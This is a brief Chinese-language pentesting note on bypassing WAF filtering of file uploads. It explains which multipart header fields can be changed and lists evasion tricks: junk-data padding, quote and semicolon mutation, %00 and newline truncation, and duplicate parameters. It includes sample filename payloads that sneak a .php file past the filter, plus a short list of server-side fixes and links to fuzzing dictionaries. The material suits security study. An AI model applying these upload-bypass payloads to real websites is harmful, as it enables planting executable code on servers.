- #上传参数名解析: 明确哪些东西能修改?
Content-Disposition:一般可更改
name:表单参数值,不能更改
filename:文件名,可以更改
Content-Type:文件MIME,视情况更改
常见绕过方法
数据溢出-防匹配(xxx...) :就是在关键点前面写入大量的无用数据来干扰对后面主要数据的检测
符号变异-防匹配(' " ; ):有的检测可能是基于单引号和双引号来获取数据,可以修改单引号或双引号的位置或增加删除单双引号来干扰waf
数据截断-防匹配(%00; 换行)
重复数据-防匹配(参数多次)
Payload : 大量垃圾数据缓冲溢出(Ccontent-Disposition,filename等)
#单引号、双引号、分号
filename=x.php
filename="x.php
filename='x.php ;
filename="a.jpg;.php";
# %00、换行
filename="Content-Disposition : form-data;name="upload_file" ; x.php"
filename="x.jpg" ;
filename="x.jpg" ; . . . ..filename="x.php";
filename=
"x .
p
h
p"
;
- 垃圾数据
- 修改单/双引号
- ;截断
- 重复参数
- /绕过
#文件上传安全修复方案
后端验证:采用服务端验证模式后缀检测:
基于黑名单,白名单过滤M工ME检测:
基于上传自带类型检测
内容检测:文件头,完整性检测
自带函数过滤:参考uploadlabs函数
自定义函数过滤:function check_file(){ }
WAF防护产品:宝塔,云盾,安全公司产品等
资源
https://github.com/fuzzdb-project/fuzzdb
TheKingOfDuck/fuzzDicts: Web Pentesting Fuzz 字典,一个就够了。 (github.com)